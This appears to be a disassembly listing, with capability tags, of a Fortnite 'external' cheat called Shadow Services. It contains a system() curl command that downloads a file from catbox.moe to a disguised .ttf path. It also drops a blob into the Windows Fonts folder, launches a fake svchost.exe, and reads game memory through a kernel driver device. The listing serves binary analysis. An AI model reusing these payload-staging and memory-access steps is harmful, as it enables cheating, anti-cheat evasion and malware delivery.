Function at 0x1400b7590
Capabilities:
Create process on windows
Create thread
Enumerate processes
Execute command
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x14035e240]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
xor edi, edi
lea rcx, str.curl_https:__files.catbox.moe_u0u5nj.ttf___output_c:_fortnite.ttf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rdi
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.C:WindowsFonts_
lea rcx, [rbp + 0x28]
call fcn.14005c380
nop
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov qword [rbp], rdi
mov ecx, 0x38c27
call fcn.1402358c8
test rax, rax
je 0x1400b8074
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rbp - 0x10], rcx
lea rbx, [rcx + 0x38c00]
mov qword [rbp], rbx
xor edx, edx
mov r8d, 0x38c00
call sub.VCRUNTIME140.dll_memset
mov qword [rbp - 8], rbx
mov edx, edi
lea r8, [0x14031fc30]
movzx ecx, byte [rdx + r8]
mov rax, qword [rbp - 0x10]
mov byte [rax + rdx], cl
movzx ecx, byte [rdx + r8 + 1]
mov rax, qword [rbp - 0x10]
mov byte [rax + rdx + 1], cl
add rdx, 2
cmp rdx, 0x38c00
jb 0x1400b7651
movabs rax, 0x7fffffffffffffff
mov rsi, rax
mov r15, qword [rbp + 0x38]
sub rsi, r15
cmp rsi, 0xb
jb 0x1400b8096
lea r13, [rbp + 0x28]
mov r14, qword [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova r13, r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea r12, [r15 + 0xb]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x60]
movabs rcx, 0x8000000000000000
mov edx, reloc.WLDAP32.dll_Ordinal_22
cmp r12, rbx
jbe 0x1400b7745
mov rbx, r12
or rbx, 0xf
cmp rbx, rax
jbe 0x1400b770c
mov rbx, rax
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1402358c8
test rax, rax
je 0x1400b786a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400b7740
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400b7720
xor edi, edi
jmp 0x1400b7740
cmp rcx, 0x1000
jb 0x1400b7738
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400b808a
jmp 0x1400b76ed
call fcn.1402358c8
mov rdi, rax
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], rbx
mov r8, r15
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [0x140241798]
movsd qword [r15 + rdi], xmm0
movzx eax, word [0x1402417a0]
mov word [r15 + rdi + 8], ax
movzx eax, byte [0x1402417a2]
mov byte [r15 + rdi + 0xa], al
mov byte [rdi + r12], 0
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x70]
call fcn.1400ade80
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rbx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
sub r8, rdx
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], rbx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x78]
call fcn.1400ae100
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400b7876
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400b7871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400b7871
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140235904
cmp rsi, 0xc
jb 0x1400b809c
lea r12, [rbp + 0x28]
mov r13, qword [rbp + 0x40]
cmp r13, 0xf
cmova r12, r14
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
lea rsi, [r15 + 0xc]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp + 8]
cmp rsi, rbx
jbe 0x1400b7939
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x1400b78fb
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1402358c8
test rax, rax
je 0x1400b7f5b
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400b7935
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400b7915
xor edi, edi
jmp 0x1400b7935
cmp rcx, 0x1000
jb 0x1400b792d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400b8090
jmp 0x1400b78dc
call fcn.1402358c8
mov rdi, rax
mov qword [rbp + 8], rdi
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], rbx
mov r8, r15
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.svchost.exe]
movsd qword [r15 + rdi], xmm0
mov eax, dword [0x1402417b0]
mov dword [r15 + rdi + 8], eax
mov byte [rdi + rsi], 0
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
xor esi, esi
mov dword [rbp - 0x30], esi
lea rdx, [rbp - 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp - 0x30]
or edx, 4
mov dword [rbp - 0x30], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea rcx, str.Shadow_Services__v2.0__free_external
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], sil
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
mov r8d, reloc.WLDAP32.dll_Ordinal_30
lea rdx, str.____key_is____Shadow_Services
lea rcx, [rsp + 0x60]
call fcn.14005c380
lea rcx, [rsp + 0x60]
call fcn.1400b51c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.___enter_key:
lea rcx, [rsp + 0x60]
call fcn.14005c380
lea rcx, [rsp + 0x60]
call fcn.1400b51c0
lea rdx, [rbp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400ac9c0
lea rcx, [rbp + 0x48]
mov r15, qword [rbp + 0x48]
mov r12, qword [rbp + 0x60]
cmp r12, 0xf
cmova rcx, r15
mov r8, qword [rbp + 0x58]
cmp r8, 0xf
jne 0x1400b804f
lea rdx, str.Shadow_Services
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400b804f
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.https:__discord.gg_gSTVcMtxkw
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r9d, 0x40
lea r8, str.Shadow_Services
lea rdx, str.WARNING__nPRESS_OK_IN_THE_LOBBY
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x26c
mov ecx, 0x140
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [0x1402418b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [0x140362348]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov eax, dword [rdx + rax]
cmp dword [0x14035eb1c], eax
jg 0x1400b80a2
cmp byte [0x14035eb18], 0
jne 0x1400b7b2e
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Shadow_Services
lea rdx, str._error__failed_to_fetch_offsets
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.___fetch_all_offsets
lea rcx, [rsp + 0x60]
call fcn.14005c380
lea rcx, [rsp + 0x60]
call fcn.1400b51c0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, 3
lea rcx, str..IoAuraCc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x14035e828], rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1400b802a
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rbp + 0x70], 0x238
lea rdx, [rbp + 0x70]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400b7bfc
nop word [rax + rax]
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x9c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x1400b7cc5
lea rdx, [rbp + 0x70]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400b7bd0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov dword [0x14035e830], eax
mov qword [rbp - 0x20], rsi
mov dword [rsp + 0x60], 0x85b2b70
mov dword [rsp + 0x64], eax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x60]
mov edx, 0x2244dc
mov rcx, qword [0x14035e828]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, qword [rbp - 0x20]
mov qword [0x14035e820], rcx
mov edi, esi
movsxd rax, esi
add rcx, rax
mov qword [0x14035e9d8], rcx
add rcx, qword [0x140358c80]
call fcn.1400ad9c0
mov rbx, rax
mov rcx, qword [0x14035ea38]
add rcx, rax
call fcn.1400ad9c0
test rbx, rbx
je 0x1400b7cac
test rax, rax
je 0x1400b7cac
mov rcx, qword [0x14035ea40]
add rcx, rax
call fcn.1400ad9c0
cmp rax, rbx
je 0x1400b7cd3
inc edi
add esi, 0x1000
cmp edi, 0x7fffffff
jge 0x1400b7cd3
mov rcx, qword [0x14035e820]
jmp 0x1400b7c63
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x78]
jmp 0x1400b7c07
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor edi, edi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.___loaded_sucessfully_
lea rcx, [rsp + 0x60]
call fcn.14005c380
lea rcx, [rsp + 0x60]
call fcn.1400b51c0
call fcn.14005bb60
mov ecx, 1
call fcn.1402358c8
mov qword [rbp - 0x20], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x1400ad650]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1400b807b
cmp dword [rsp + 0x68], edi
je 0x1400b80d7
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x1400b80d7
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rbp - 0x80], 0x50
mov rax, qword [sym.imp.USER32.dll_DefWindowProcA]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp - 0x60], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp - 0x58], rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
lea rbx, str.Facebook
mov qword [rbp - 0x40], rbx
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp - 0x38], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp - 0x80]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], rdi
mov rax, qword [rbp - 0x68]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, str.Facebook___Home
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x14035e990], rax
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowLongW]
movdqa xmm0, xmmword [0x1402419e0]
movdqu xmmword [rbp - 0x20], xmm0
lea rdx, [rbp - 0x20]
mov rcx, qword [0x14035e990]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov edx, 5
mov rcx, qword [0x14035e990]
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, qword [0x14035e990]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x14035e990]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [0x14035e990]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.1400b0540
call fcn.1400b5b10
nop
cmp r12, 0xf
jbe 0x1400b7f29
lea rdx, [r12 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400b7f20
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400b7f20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140235904
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x1400b7f67
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400b7f62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400b7f62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140235904
movdqa xmm0, xmmword [0x14023b4c0]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x1400b7fbe
mov rdx, qword [rbp]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400b7fad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400b8074
call fcn.140235904
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov qword [rbp], rdi
cmp r13, 0xf
jbe 0x1400b7ff8
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400b7ff0
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400b7ff0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140235904
xor eax, eax
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.140235c60
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Shadow_Services
lea rdx, str.____driver_is_not_mapped.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Shadow_Services
lea rdx, str.____LICENSE_IS_INVALID
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rsp + 0x68], edi
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
call fcn.140069060
int3
call fcn.140069060
int3
call fcn.140069150
int3
call fcn.140069150
nop
lea rcx, [0x14035eb1c]
call fcn.140235e94
cmp dword [0x14035eb1c], 0xffffffff
jne 0x1400b7b00
call fcn.1400b2fd0
mov byte [0x14035eb18], al
lea rcx, [0x14035eb1c]
call fcn.140235e28
jmp 0x1400b7b00
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3